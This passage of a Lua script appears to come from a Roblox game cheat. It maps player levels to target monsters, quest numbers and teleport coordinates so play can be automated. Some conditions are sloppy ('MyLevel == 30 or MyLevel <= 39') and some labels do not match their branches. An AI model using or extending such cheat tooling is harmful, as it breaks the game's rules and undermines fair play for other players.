--CFrameQuest = CFrame.new(-1604.12012, 36.8521118, 154.23732, 0.0648873374, -4.70858913e-06, -0.997892559, 1.41431883e-07, 1, -4.70933674e-06, 0.997892559, 1.64442184e-07, 0.0648873374)

CFrameMon = CFrame.new(-1223.52808, 6.27936459, -502.292664, 0.310949147, -5.66602516e-08, 0.950426519, -3.37275488e-08, 1, 7.06501808e-08, -0.950426519, -5.40241736e-08, 0.310949147)

--Spawn = "Jungle"

elseif MyLevel == 30 or MyLevel <= 39 or SelectMonster == "Pirate [Lv. 35]" then -- Pirate

Mon = "Pirate [Lv. 35]"

--NameQuest = "BuggyQuest1"

LevelQuest = 1

NameMon = "Pirate"

--CFrameQuest = CFrame.new(-1139.59717, 4.75205183, 3825.16211, -0.959730506, -7.5857054e-09, 0.280922383, -4.06310328e-08, 1, -1.11807175e-07, -0.280922383, -1.18718916e-07, -0.959730506)

CFrameMon = CFrame.new(-1219.32324, 4.75205183, 3915.63452, -0.966492832, -6.91238853e-08, 0.25669381, -5.21195496e-08, 1, 7.3047012e-08, -0.25669381, 5.72206496e-08, -0.966492832)

--Spawn = "Pirate"

elseif MyLevel == 40 or MyLevel <= 59 or SelectMonster == "Brute [Lv. 45]" then -- Brute

Mon = "Brute [Lv. 45]"

--NameQuest = "BuggyQuest1"

LevelQuest = 2

NameMon = "Brute"

--CFrameQuest = CFrame.new(-1139.59717, 4.75205183, 3825.16211, -0.959730506, -7.5857054e-09, 0.280922383, -4.06310328e-08, 1, -1.11807175e-07, -0.280922383, -1.18718916e-07, -0.959730506)

CFrameMon = CFrame.new(-1146.49646, 96.0936813, 4312.1333, -0.978175163, -1.53222057e-08, 0.207781896, -3.33316912e-08, 1, -8.31738873e-08, -0.207781896, -8.82843523e-08, -0.978175163)

--Spawn = "Pirate"

elseif MyLevel == 60 or MyLevel <= 74 or SelectMonster == "Desert Bandit [Lv. 60]" then -- Desert Bandit

Mon = "Desert Bandit [Lv. 60]"

--NameQuest = "DesertQuest"

LevelQuest = 1

NameMon = "Desert Bandit"

--CFrameQuest = CFrame.new(897.031128, 6.43846416, 4388.97168, -0.804044724, 3.68233266e-08, 0.594568789, 6.97835176e-08, 1, 3.24365246e-08, -0.594568789, 6.75715199e-08, -0.804044724)

CFrameMon = CFrame.new(932.788818, 6.4503746, 4488.24609, -0.998625934, 3.08948351e-08, 0.0524050146, 2.79967303e-08, 1, -5.60361286e-08, -0.0524050146, -5.44919629e-08, -0.998625934)

--Spawn = "Desert"

elseif MyLevel == 75 or MyLevel <= 89 or SelectMonster == "Desert Officer [Lv. 70]" then -- Desert Officre

Mon = "Desert Officer [Lv. 70]"

--NameQuest = "DesertQuest"

LevelQuest = 2

NameMon = "Desert Officer"

--CFrameQuest = CFrame.new(897.031128, 6.43846416, 4388.97168, -0.804044724, 3.68233266e-08, 0.594568789, 6.97835176e-08, 1, 3.24365246e-08, -0.594568789, 6.75715199e-08, -0.804044724)

CFrameMon = CFrame.new(1580.03198, 4.61375761, 4366.86426, 0.135744005, -6.44280718e-08, -0.990743816, 4.35738308e-08, 1, -5.90598574e-08, 0.990743816, -3.51534837e-08, 0.135744005)

--Spawn = "Desert"

elseif MyLevel == 90 or MyLevel <= 99 or SelectMonster == "Snow Bandit [Lv. 90]" then -- Snow Bandits

Mon = "Snow Bandit [Lv. 90]"

--NameQuest = "SnowQuest"

LevelQuest = 1

NameMon = "Snow Bandits"

--CFrameQuest = CFrame.new(1384.14001, 87.272789, -1297.06482, 0.348555952, -2.53947841e-09, -0.937287986, 1.49860568e-08, 1, 2.86358204e-09, 0.937287986, -1.50443711e-08, 0.348555952)

CFrameMon = CFrame.new(1370.24316, 102.403511, -1411.52905, 0.980274439, -1.12995728e-08, 0.197641045, -9.57343449e-09, 1, 1.04655214e-07, -0.197641045, -1.04482936e-07, 0.980274439)

--Spawn = "Ice"

elseif MyLevel == 100 or MyLevel <= 119 or SelectMonster == "Snowman [Lv. 100]" then -- Snowman

Mon = "Snowman [Lv. 100]"

--NameQuest = "SnowQuest"

LevelQuest = 2

NameMon = "Snowman"

--CFrameQuest = CFrame.new(1384.14001, 87.272789, -1297.06482, 0.348555952, -2.53947841e-09, -0.937287986, 1.49860568e-08, 1, 2.86358204e-09, 0.937287986, -1.50443711e-08, 0.348555952)

CFrameMon = CFrame.new(1370.24316, 102.403511, -1411.52905, 0.980274439, -1.12995728e-08, 0.197641045, -9.57343449e-09, 1, 1.04655214e-07, -0.197641045, -1.04482936e-07, 0.980274439)

--Spawn = "Ice"

elseif MyLevel == 120 or MyLevel <= 149 or SelectMonster == "Chief Petty Officer [Lv. 120]" then -- Chief Petty Officer

Mon = "Chief Petty Officer [Lv. 120]"

--NameQuest = "MarineQuest2"

LevelQuest = 1

NameMon = "Chief Petty Officer"

--CFrameQuest = CFrame.new(-5035.0835, 28.6520386, 4325.29443, 0.0243340395, -7.08064647e-08, 0.999703884, -6.36926814e-08, 1, 7.23777944e-08, -0.999703884, -6.54350671e-08, 0.0243340395)

CFrameMon = CFrame.new(-4882.8623, 22.6520386, 4255.53516, 0.273695946, -5.40380647e-08, -0.96181643, 4.37720793e-08, 1, -4.37274998e-08, 0.96181643, -3.01326679e-08, 0.273695946)

--Spawn = "MarineBase"

elseif MyLevel == 150 or MyLevel <= 174 or SelectMonster == "Sky Bandit [Lv. 150]" then -- Sky Bandit

Mon = "Sky Bandit [Lv. 150]"

--NameQuest = "SkyQuest"

LevelQuest = 1

NameMon = "Sky Bandit"

--CFrameQuest = CFrame.new(-4841.83447, 717.669617, -2623.96436, -0.875942111, 5.59710216e-08, -0.482416272, 3.04023082e-08, 1, 6.08195947e-08, 0.482416272, 3.86078725e-08, -0.875942111)

CFrameMon = CFrame.new(-4970.74219, 294.544342, -2890.11353, -0.994874597, -8.61311236e-08, -0.101116329, -9.10836206e-08, 1, 4.43614923e-08, 0.101116329, 5.33441664e-08, -0.994874597)

--Spawn = "Sky"

elseif MyLevel == 175 or MyLevel <= 189 or SelectMonster == "Dark Master [Lv. 175]" then -- Dark Master

Mon = "Dark Master [Lv. 175]"

--NameQuest = "SkyQuest"

LevelQuest = 2

NameMon = "Dark Master"

--CFrameQuest = CFrame.new(-4841.83447, 717.669617, -2623.96436, -0.875942111, 5.59710216e-08, -0.482416272, 3.04023082e-08, 1, 6.08195947e-08, 0.482416272, 3.86078725e-08, -0.875942111)

CFrameMon = CFrame.new(-5220.58594, 430.693298, -2278.17456, -0.925375521, 1.12086873e-08, 0.379051805, -1.05115507e-08, 1, -5.52320891e-08, -0.379051805, -5.50948407e-08, -0.925375521)

--Spawn = "Sky"

elseif MyLevel == 190 or MyLevel <= 209 or SelectMonster == "Prisoner [Lv. 190]" then

Mon = "Prisoner [Lv. 190]"

--NameQuest = "PrisonerQuest"

LevelQuest = 1

NameMon = "Prisoner"

--CFrameQuest = CFrame.new(5308.93115, 1.65517521, 475.120514, -0.0894274712, -5.00292918e-09, -0.995993316, 1.60817859e-09, 1, -5.16744869e-09, 0.995993316, -2.06384709e-09, -0.0894274712)

CFrameMon = CFrame.new(5433.39307, 88.678093, 514.986877, 0.879988372, 0, -0.474995494, 0, 1, 0, 0.474995494, 0, 0.879988372)

--Spawn = "Prison"

elseif MyLevel == 210 or MyLevel <= 249 or SelectMonster == "Dangerous Prisoner [Lv. 210]" then

Mon = "Dangerous Prisoner [Lv. 210]"

--NameQuest = "PrisonerQuest"

LevelQuest = 2

NameMon = "Dangerous Prisoner"

--CFrameQuest = CFrame.new(5308.93115, 1.65517521, 475.120514, -0.0894274712, -5.00292918e-09, -0.995993316, 1.60817859e-09, 1, -5.16744869e-09, 0.995993316, -2.06384709e-09, -0.0894274712)

CFrameMon = CFrame.new(5433.39307, 88.678093, 514.986877, 0.879988372, 0, -0.474995494, 0, 1, 0, 0.474995494, 0, 0.879988372)

--Spawn = "Prison"

elseif MyLevel == 250 or MyLevel <= 274 or SelectMonster == "Toga Warrior [Lv. 225]" then -- Toga Warrior

Mon = "Toga Warrior [Lv. 250]"

--NameQuest = "ColosseumQuest"

LevelQuest = 1

NameMon = "Toga Warrior"

--CFrameQuest = CFrame.new(-1576.11743, 7.38933945, -2983.30762, 0.576966345, 1.22114863e-09, 0.816767931, -3.58496594e-10, 1, -1.24185606e-09, -0.816767931, 4.2370063e-10, 0.576966345)

CFrameMon = CFrame.new(-1779.97583, 44.6077499, -2736.35474, 0.984437346, 4.10396339e-08, 0.175734788, -3.62286876e-08, 1, -3.05844168e-08, -0.175734788, 2.3741821e-08, 0.984437346)

--Spawn = "Colosseum"

elseif MyLevel == 275 or MyLevel <= 299 or SelectMonster == "Gladiator [Lv. 275]" then -- Gladiato

Mon = "Gladiator [Lv. 275]"

--NameQuest = "ColosseumQuest"

LevelQuest = 2

NameMon = "Gladiato"

--CFrameQuest = CFrame.new(-1576.11743, 7.38933945, -2983.30762, 0.576966345, 1.22114863e-09, 0.816767931, -3.58496594e-10, 1, -1.24185606e-09, -0.816767931, 4.2370063e-10, 0.576966345)

CFrameMon = CFrame.new(-1274.75903, 58.1895943, -3188.16309, 0.464524001, 6.21005611e-08, 0.885560572, -4.80449414e-09, 1, -6.76054768e-08, -0.885560572, 2.71497012e-08, 0.464524001)

--Spawn = "Colosseum"

elseif MyLevel == 300 or MyLevel <= 324 or SelectMonster == "Military Soldier [Lv. 300]" then -- Military Soldier

Mon = "Military Soldier [Lv. 300]"

--NameQuest = "MagmaQuest"

LevelQuest = 1

NameMon = "Military Soldier"

--CFrameQuest = CFrame.new(-5316.55859, 12.2370615, 8517.2998, 0.588437557, -1.37880001e-08, -0.808542669, -2.10116209e-08, 1, -3.23446478e-08, 0.808542669, 3.60215964e-08, 0.588437557)

CFrameMon = CFrame.new(-5363.01123, 41.5056877, 8548.47266, -0.578253984, -3.29503091e-10, 0.815856814, 9.11209668e-08, 1, 6.498761e-08, -0.815856814, 1.11920997e-07, -0.578253984)

--Spawn = "Magma"

elseif MyLevel == 325 or MyLevel <= 374 or SelectMonster == "Military Spy [Lv. 330]" then -- Military Spy

Mon = "Military Spy [Lv. 325]"

--NameQuest = "MagmaQuest"

LevelQuest = 2

NameMon = "Military Spy"

--CFrameQuest = CFrame.new(-5316.55859, 12.2370615, 8517.2998, 0.588437557, -1.37880001e-08, -0.808542669, -2.10116209e-08, 1, -3.23446478e-08, 0.808542669, 3.60215964e-08, 0.588437557)

CFrameMon = CFrame.new(-5787.99023, 120.864456, 8762.25293, -0.188358366, -1.84706277e-08, 0.982100308, -1.23782129e-07, 1, -4.93306951e-09, -0.982100308, -1.22495649e-07, -0.188358366)

--Spawn = "Magma"

elseif MyLevel == 375 or MyLevel <= 399 or SelectMonster == "Fishman Warrior [Lv. 375]" then -- Fishman Warrior

Mon = "Fishman Warrior [Lv. 375]"

--NameQuest = "FishmanQuest"

LevelQuest = 1

NameMon = "Fishman Warrior"

--CFrameQuest = CFrame.new(61122.5625, 18.4716396, 1568.16504, 0.893533468, 3.95251609e-09, 0.448996574, -2.34327455e-08, 1, 3.78297464e-08, -0.448996574, -4.43233645e-08, 0.893533468)

CFrameMon = CFrame.new(60946.6094, 48.6735229, 1525.91687, -0.0817126185, 8.90751153e-08, 0.996655822, 2.00889794e-08, 1, -8.77269599e-08, -0.996655822, 1.28533992e-08, -0.0817126185)

--Spawn = "Fountain"

elseif MyLevel == 400 or MyLevel <= 449 or SelectMonster == "Fishman Commando [Lv. 400]" then -- Fishman Commando

Mon = "Fishman Commando [Lv. 400]"

--NameQuest = "FishmanQuest"

LevelQuest = 2

NameMon = "Fishman Commando"

--CFrameQuest = CFrame.new(61122.5625, 18.4716396, 1568.16504, 0.893533468, 3.95251609e-09, 0.448996574, -2.34327455e-08, 1, 3.78297464e-08, -0.448996574, -4.43233645e-08, 0.893533468)

CFrameMon = CFrame.new(61885.5039, 18.4828243, 1504.17896, 0.577502489, 0, -0.816389024, -0, 1.00000012, -0, 0.816389024, 0, 0.577502489)

--Spawn = "Fountain"

elseif MyLevel == 450 or MyLevel <= 474 or SelectMonster == "God's Guard [Lv. 450]" then -- God's Guards

Mon = "God's Guard [Lv. 450]"

--NameQuest = "SkyExp1Quest"

LevelQuest = 1

NameMon = "God's Guards"

--CFrameQuest = CFrame.new(-4721.71436, 845.277161, -1954.20105, -0.999277651, -5.56969759e-09, 0.0380011722, -4.14751478e-09, 1, 3.75035256e-08, -0.0380011722, 3.73188307e-08, -0.999277651)

CFrameMon = CFrame.new(-4716.95703, 853.089722, -1933.92542, -0.93441087, -6.77488776e-09, -0.356197298, 1.12145182e-08, 1, -4.84390199e-08, 0.356197298, -4.92565206e-08, -0.93441087)

--Spawn = "Sky"

elseif MyLevel == 475 or MyLevel <= 524 or SelectMonster == "Shanda [Lv. 475]" then -- Shandas

sky = false

Mon = "Shanda [Lv. 475]"

--NameQuest = "SkyExp1Quest"

LevelQuest = 2

NameMon = "Shandas"

--CFrameQuest = CFrame.new(-7863.63672, 5545.49316, -379.826324, 0.362120807, -1.98046344e-08, -0.93213129, 4.05822291e-08, 1, -5.48095125e-09, 0.93213129, -3.58431969e-08, 0.362120807)

CFrameMon = CFrame.new(-7685.12354, 5601.05127, -443.171509, 0.150056243, 1.79768236e-08, -0.988677442, 6.67798661e-09, 1, 1.91962481e-08, 0.988677442, -9.48289181e-09, 0.150056243)

--Spawn = "Sky"

elseif MyLevel == 525 or MyLevel <= 549 or SelectMonster == "Royal Squad [Lv. 525]" then -- Royal Squad

sky = true

Mon = "Royal Squad [Lv. 525]"

--NameQuest = "SkyExp2Quest"

LevelQuest = 1

NameMon = "Royal Squad"

--CFrameQuest = CFrame.new(-7902.66895, 5635.96387, -1411.71802, 0.0504222959, 2.5710392e-08, 0.998727977, 1.12541557e-07, 1, -3.14249675e-08, -0.998727977, 1.13982921e-07, 0.0504222959)

CFrameMon = CFrame.new(-7685.02051, 5606.87842, -1442.729, 0.561947823, 7.69527464e-09, -0.827172697, -4.24974544e-09, 1, 6.41599973e-09, 0.827172697, -9.01838604e-11, 0.561947823)

--Spawn = "Sky2"

elseif MyLevel == 550 or MyLevel <= 624 or SelectMonster == "Royal Soldier [Lv. 550]" then -- Royal Soldier

Dis = 240

sky = true

Mon = "Royal Soldier [Lv. 550]"

--NameQuest = "SkyExp2Quest"

LevelQuest = 2

NameMon = "Royal Soldier"

--CFrameQuest = CFrame.new(-7902.66895, 5635.96387, -1411.71802, 0.0504222959, 2.5710392e-08, 0.998727977, 1.12541557e-07, 1, -3.14249675e-08, -0.998727977, 1.13982921e-07, 0.0504222959)

CFrameMon = CFrame.new(-7864.44775, 5661.94092, -1708.22351, 0.998389959, 2.28686137e-09, -0.0567218624, 1.99431383e-09, 1, 7.54200258e-08, 0.0567218624, -7.54117195e-08, 0.998389959)

--Spawn = "Sky2"

elseif MyLevel == 625 or MyLevel <= 649 or SelectMonster == "Galley Pirate [Lv. 625]" then -- Galley Pirate

Dis = 240

sky = false

Mon = "Galley Pirate [Lv. 625]"

--NameQuest = "FountainQuest"

LevelQuest = 1

NameMon = "Galley Pirate"

--CFrameQuest = CFrame.new(5254.60156, 38.5011406, 4049.69678, -0.0504891425, -3.62066501e-08, -0.998724639, -9.87921389e-09, 1, -3.57534553e-08, 0.998724639, 8.06145284e-09, -0.0504891425)

CFrameMon = CFrame.new(5595.06982, 41.5013695, 3961.47095, -0.992138803, -2.11610267e-08, -0.125142589, -1.34249509e-08, 1, -6.26613996e-08, 0.125142589, -6.04887518e-08, -0.992138803)

--Spawn = "Fountain"

elseif MyLevel >= 650 or SelectMonster == "Galley Captain [Lv. 650]" then -- Galley Captain

Dis = 240

Mon = "Galley Captain [Lv. 650]"

--NameQuest = "FountainQuest"

LevelQuest = 2

NameMon = "Galley Captain"

--CFrameQuest = CFrame.new(5254.60156, 38.5011406, 4049.69678, -0.0504891425, -3.62066501e-08, -0.998724639, -9.87921389e-09, 1, -3.57534553e-08, 0.998724639, 8.06145284e-09, -0.0504891425)

CFrameMon = CFrame.new(5658.5752, 38.5361786, 4928.93506, -0.996873081, 2.12391046e-06, -0.0790185928, 2.16989656e-06, 1, -4.96097414e-07, 0.0790185928, -6.66008248e-07, -0.996873081)

--Spawn = "Fountain"

end

elseif World2 then

if MyLevel == 700 or MyLevel <= 724 or SelectMonster == "Raider [Lv. 700]" then -- Raider [Lv. 700]

Mon = "Raider [Lv. 700]"

--NameQuest = "Area1Quest"

LevelQuest = 1

NameMon = "Raider"

--CFrameQuest = CFrame.new(-424.080078, 73.0055847, 1836.91589, 0.253544956, -1.42165932e-08, 0.967323601, -6.00147771e-08, 1, 3.04272909e-08, -0.967323601, -6.5768397e-08, 0.253544956)

CFrameMon = CFrame.new(-737.026123, 39.1748352, 2392.57959, 0.272128761, 0, -0.962260842, -0, 1, -0, 0.962260842, 0, 0.272128761)

--Spawn = "DressTown"

elseif MyLevel == 725 or MyLevel <= 774 or SelectMonster == "Mercenary [Lv. 725]" then -- Mercenary [Lv. 725]

Mon = "Mercenary [Lv. 725]"

--NameQuest = "Area1Quest"

LevelQuest = 2

NameMon = "Mercenary"

--CFrameQuest = CFrame.new(-424.080078, 73.0055847, 1836.91589, 0.253544956, -1.42165932e-08, 0.967323601, -6.00147771e-08, 1, 3.04272909e-08, -0.967323601, -6.5768397e-08, 0.253544956)

CFrameMon = CFrame.new(-973.731995, 95.8733215, 1836.46936, 0.999135971, 2.02326991e-08, -0.0415605344, -1.90767793e-08, 1, 2.82094952e-08, 0.0415605344, -2.73922804e-08, 0.999135971)

--Spawn = "DressTown"

elseif MyLevel == 775 or MyLevel <= 799 or SelectMonster == "Swan Pirate [Lv. 775]" then -- Swan Pirate [Lv. 775]

Mon = "Swan Pirate [Lv. 775]"

--NameQuest = "Area2Quest"

LevelQuest = 1

NameMon = "Swan Pirate"

--CFrameQuest = CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369)

CFrameMon = CFrame.new(970.369446, 142.653198, 1217.3667, 0.162079468, -4.85452638e-08, -0.986777723, 1.03357589e-08, 1, -4.74980872e-08, 0.986777723, -2.50063148e-09, 0.162079468)

--Spawn = "DressTown"

elseif MyLevel == 800 or MyLevel <= 874 or SelectMonster == "Factory Staff [Lv. 800]" then -- Factory Staff [Lv. 800]

Mon = "Factory Staff [Lv. 800]"

--NameQuest = "Area2Quest"

LevelQuest = 2

NameMon = "Factory Staff"

--CFrameQuest = CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369)

CFrameMon = CFrame.new(296.786499, 72.9948196, -57.1298141, -0.876037002, -5.32364979e-08, 0.482243896, -3.87658332e-08, 1, 3.99718729e-08, -0.482243896, 1.63222538e-08, -0.876037002)

--Spawn = "DressTown"

elseif MyLevel == 875 or MyLevel <= 899 or SelectMonster == "Marine Lieutenant [Lv. 875]" then -- Marine Lieutenant [Lv. 875]

Mon = "Marine Lieutenant [Lv. 875]"

--NameQuest = "MarineQuest3"

LevelQuest = 1

NameMon = "Marine Lieutenant"

--CFrameQuest = CFrame.new(-2442.65015, 73.0511475, -3219.11523, -0.873540044, 4.2329841e-08, -0.486752301, 5.64383384e-08, 1, -1.43220786e-08, 0.486752301, -3.99823996e-08, -0.873540044)

CFrameMon = CFrame.new(-2913.26367, 73.0011826, -2971.64282, 0.910507619, 0, 0.413492233, 0, 1.00000012, 0, -0.413492233, 0, 0.910507619)

--Spawn = "Greenb"

elseif MyLevel == 900 or MyLevel <= 949 or SelectMonster == "Marine Captain [Lv. 900]" then -- Marine Captain [Lv. 900]

Mon = "Marine Captain [Lv. 900]"

--NameQuest = "MarineQuest3"

LevelQuest = 2

NameMon = "Marine Captain"

--CFrameQuest = CFrame.new(-2442.65015, 73.0511475, -3219.11523, -0.873540044, 4.2329841e-08, -0.486752301, 5.64383384e-08, 1, -1.43220786e-08, 0.486752301, -3.99823996e-08, -0.873540044)

CFrameMon = CFrame.new(-1868.67688, 73.0011826, -3321.66333, -0.971402287, 1.06502087e-08, 0.237439692, 3.68856199e-08, 1, 1.06050372e-07, -0.237439692, 1.11775684e-07, -0.971402287)

--Spawn = "Greenb"

elseif MyLevel == 950 or MyLevel <= 974 or SelectMonster == "Zombie [Lv. 950]" then -- Zombie [Lv. 950]

Mon = "Zombie [Lv. 950]"

--NameQuest = "ZombieQuest"

LevelQuest = 1

NameMon = "Zombie"

--CFrameQuest = CFrame.new(-5492.79395, 48.5151672, -793.710571, 0.321800292, -6.24695815e-08, 0.946807742, 4.05616092e-08, 1, 5.21931227e-08, -0.946807742, 2.16082796e-08, 0.321800292)

CFrameMon = CFrame.new(-5634.83838, 126.067039, -697.665039, -0.992770672, 6.77618939e-09, 0.120025545, 1.65461245e-08, 1, 8.04023372e-08, -0.120025545, 8.18070234e-08, -0.992770672)

--Spawn = "Graveyard"

elseif MyLevel == 975 or MyLevel <= 999 or SelectMonster == "Vampire [Lv. 975]" then -- Vampire [Lv. 975]

Mon = "Vampire [Lv. 975]"

--NameQuest = "ZombieQuest"

LevelQuest = 2

NameMon = "Vampire"

--CFrameQuest = CFrame.new(-5492.79395, 48.5151672, -793.710571, 0.321800292, -6.24695815e-08, 0.946807742, 4.05616092e-08, 1, 5.21931227e-08, -0.946807742, 2.16082796e-08, 0.321800292)

CFrameMon = CFrame.new(-6030.32031, 6.4377408, -1313.5564, -0.856965423, 3.9138893e-08, -0.515373945, -1.12178942e-08, 1, 9.45958547e-08, 0.515373945, 8.68467822e-08, -0.856965423)

--Spawn = "Graveyard"

elseif MyLevel == 1000 or MyLevel <= 1049 or SelectMonster == "Snow Trooper [Lv. 1000]" then -- Snow Trooper [Lv. 1000] \*\*

Mon = "Snow Trooper [Lv. 1000]"

--NameQuest = "SnowMountainQuest"

LevelQuest = 1

NameMon = "Snow Trooper"

--CFrameQuest = CFrame.new(604.964966, 401.457062, -5371.69287, 0.353063971, 1.89520435e-08, -0.935599446, -5.81846002e-08, 1, -1.70033754e-09, 0.935599446, 5.50377841e-08, 0.353063971)

CFrameMon = CFrame.new(535.893433, 401.457062, -5329.6958, -0.999524176, 0, 0.0308452044, 0, 1, -0, -0.0308452044, 0, -0.999524176)

--Spawn = "Snowy"

elseif MyLevel == 1050 or MyLevel <= 1099 or SelectMonster == "Winter Warrior [Lv. 1050]" then -- Winter Warrior [Lv. 1050]

Mon = "Winter Warrior [Lv. 1050]"

--NameQuest = "SnowMountainQuest"

LevelQuest = 2

NameMon = "Winter Warrior"

--CFrameQuest = CFrame.new(604.964966, 401.457062, -5371.69287, 0.353063971, 1.89520435e-08, -0.935599446, -5.81846002e-08, 1, -1.70033754e-09, 0.935599446, 5.50377841e-08, 0.353063971)

CFrameMon = CFrame.new(1223.7417, 454.575226, -5170.02148, 0.473996818, 2.56845354e-08, 0.880526543, -5.62456428e-08, 1, 1.10811016e-09, -0.880526543, -5.00510211e-08, 0.473996818)

--Spawn = "Snowy"

elseif MyLevel == 1100 or MyLevel <= 1124 or SelectMonster == "Lab Subordinate [Lv. 1100]" then -- Lab Subordinate [Lv. 1100]

Mon = "Lab Subordinate [Lv. 1100]"

--NameQuest = "IceSideQuest"

LevelQuest = 1

NameMon = "Lab Subordinate"

--CFrameQuest = CFrame.new(-6060.10693, 15.9868021, -4904.7876, -0.411000341, -5.06538868e-07, 0.91163528, 1.26306062e-07, 1, 6.12581289e-07, -0.91163528, 3.66916197e-07, -0.411000341)

CFrameMon = CFrame.new(-5769.2041, 37.9288292, -4468.38721, -0.569419742, -2.49055017e-08, 0.822046936, -6.96206541e-08, 1, -1.79282633e-08, -0.822046936, -6.74401548e-08, -0.569419742)

--Spawn = "CircleIslandIce"

elseif MyLevel == 1125 or MyLevel <= 1174 or SelectMonster == "Horned Warrior [Lv. 1125]" then -- Horned Warrior [Lv. 1125]

Mon = "Horned Warrior [Lv. 1125]"

--NameQuest = "IceSideQuest"

LevelQuest = 2

NameMon = "Horned Warrior"

--CFrameQuest = CFrame.new(-6060.10693, 15.9868021, -4904.7876, -0.411000341, -5.06538868e-07, 0.91163528, 1.26306062e-07, 1, 6.12581289e-07, -0.91163528, 3.66916197e-07, -0.411000341)

CFrameMon = CFrame.new(-6400.85889, 24.7645149, -5818.63574, -0.964845479, 8.65926566e-08, -0.262817472, 3.98261392e-07, 1, -1.13260398e-06, 0.262817472, -1.19745812e-06, -0.964845479)

--Spawn = "CircleIslandIce"

elseif MyLevel == 1175 or MyLevel <= 1199 or SelectMonster == "Magma Ninja [Lv. 1175]" then -- Magma Ninja [Lv. 1175]

Mon = "Magma Ninja [Lv. 1175]"

--NameQuest = "FireSideQuest"

LevelQuest = 1

NameMon = "Magma Ninja"

--CFrameQuest = CFrame.new(-5431.09473, 15.9868021, -5296.53223, 0.831796765, 1.15322464e-07, -0.555080295, -1.10814341e-07, 1, 4.17010995e-08, 0.555080295, 2.68240168e-08, 0.831796765)

CFrameMon = CFrame.new(-5496.65576, 58.6890411, -5929.76855, -0.885073781, 0, -0.465450764, 0, 1.00000012, -0, 0.465450764, 0, -0.885073781)

--Spawn = "CircleIslandFire"

elseif MyLevel == 1200 or MyLevel <= 1249 or SelectMonster == "Lava Pirate [Lv. 1200]" then -- Lava Pirate [Lv. 1200]

Mon = "Lava Pirate [Lv. 1200]"

--NameQuest = "FireSideQuest"

LevelQuest = 2

NameMon = "Lava Pirate"

--CFrameQuest = CFrame.new(-5431.09473, 15.9868021, -5296.53223, 0.831796765, 1.15322464e-07, -0.555080295, -1.10814341e-07, 1, 4.17010995e-08, 0.555080295, 2.68240168e-08, 0.831796765)

CFrameMon = CFrame.new(-5169.71729, 34.1234779, -4669.73633, -0.196780294, 0, 0.98044765, 0, 1.00000012, -0, -0.98044765, 0, -0.196780294)

--Spawn = "CircleIslandFire"

elseif MyLevel == 1250 or MyLevel <= 1274 or SelectMonster == "Ship Deckhand [Lv. 1250]" then -- Ship Deckhand [Lv. 1250]

Mon = "Ship Deckhand [Lv. 1250]"

--NameQuest = "ShipQuest1"

LevelQuest = 1

NameMon = "Ship Deckhand"

--CFrameQuest = CFrame.new(1037.80127, 125.092171, 32911.6016, -0.244533166, -0, -0.969640911, -0, 1.00000012, -0, 0.96964103, 0, -0.244533136)

CFrameMon = CFrame.new(1163.80872, 138.288452, 33058.4258, -0.998580813, 5.49076979e-08, -0.0532564968, 5.57436763e-08, 1, -1.42118655e-08, 0.0532564968, -1.71604082e-08, -0.998580813)

--Spawn = "Ship"

elseif MyLevel == 1275 or MyLevel <= 1299 or SelectMonster == "Ship Engineer [Lv. 1275]" then -- Ship Engineer [Lv. 1275]

Mon = "Ship Engineer [Lv. 1275]"

--NameQuest = "ShipQuest1"

LevelQuest = 2

NameMon = "Ship Engineer"

--CFrameQuest = CFrame.new(1037.80127, 125.092171, 32911.6016, -0.244533166, -0, -0.969640911, -0, 1.00000012, -0, 0.96964103, 0, -0.244533136)

CFrameMon = CFrame.new(916.666504, 44.0920448, 32917.207, -0.99746871, -4.85034697e-08, -0.0711069331, -4.8925461e-08, 1, 4.19294288e-09, 0.0711069331, 7.66126895e-09, -0.99746871)

--Spawn = "Ship"

elseif MyLevel == 1300 or MyLevel <= 1324 or SelectMonster == "Ship Steward [Lv. 1300]" then -- Ship Steward [Lv. 1300]

Mon = "Ship Steward [Lv. 1300]"

--NameQuest = "ShipQuest2"

LevelQuest = 1

NameMon = "Ship Steward"

--CFrameQuest = CFrame.new(968.80957, 125.092171, 33244.125, -0.869560242, 1.51905191e-08, -0.493826836, 1.44108379e-08, 1, 5.38534195e-09, 0.493826836, -2.43357912e-09, -0.869560242)

CFrameMon = CFrame.new(918.743286, 129.591064, 33443.4609, -0.999792814, -1.7070947e-07, -0.020350717, -1.72559169e-07, 1, 8.91351277e-08, 0.020350717, 9.2628369e-08, -0.999792814)

--Spawn = "Ship"

elseif MyLevel == 1325 or MyLevel <= 1349 or SelectMonster == "Ship Officer [Lv. 1325]" then -- Ship Officer [Lv. 1325]

Mon = "Ship Officer [Lv. 1325]"

--NameQuest = "ShipQuest2"

LevelQuest = 2

NameMon = "Ship Officer"

--CFrameQuest = CFrame.new(968.80957, 125.092171, 33244.125, -0.869560242, 1.51905191e-08, -0.493826836, 1.44108379e-08, 1, 5.38534195e-09, 0.493826836, -2.43357912e-09, -0.869560242)

CFrameMon = CFrame.new(786.051941, 181.474106, 33303.2969, 0.999285698, -5.32193063e-08, 0.0377905183, 5.68968588e-08, 1, -9.62386864e-08, -0.0377905183, 9.83201005e-08, 0.999285698)

--Spawn = "Ship"

elseif MyLevel == 1350 or MyLevel <= 1374 or SelectMonster == "Arctic Warrior [Lv. 1350]" then -- Arctic Warrior [Lv. 1350]

Mon = "Arctic Warrior [Lv. 1350]"

--NameQuest = "FrostQuest"

LevelQuest = 1

NameMon = "Arctic Warrior"

--CFrameQuest = CFrame.new(5669.43506, 28.2117786, -6482.60107, 0.888092756, 1.02705066e-07, 0.459664226, -6.20391774e-08, 1, -1.03572376e-07, -0.459664226, 6.34646895e-08, 0.888092756)

CFrameMon = CFrame.new(5995.07471, 57.3188477, -6183.47314, 0.702747107, -1.53454167e-07, -0.711440146, -1.08168464e-07, 1, -3.22542007e-07, 0.711440146, 3.03620908e-07, 0.702747107)

--Spawn = "IceCastle"

elseif MyLevel == 1375 or MyLevel <= 1424 or SelectMonster == "Snow Lurker [Lv. 1375]" then -- Snow Lurker [Lv. 1375]

Mon = "Snow Lurker [Lv. 1375]"

--NameQuest = "FrostQuest"

LevelQuest = 2

NameMon = "Snow Lurker"

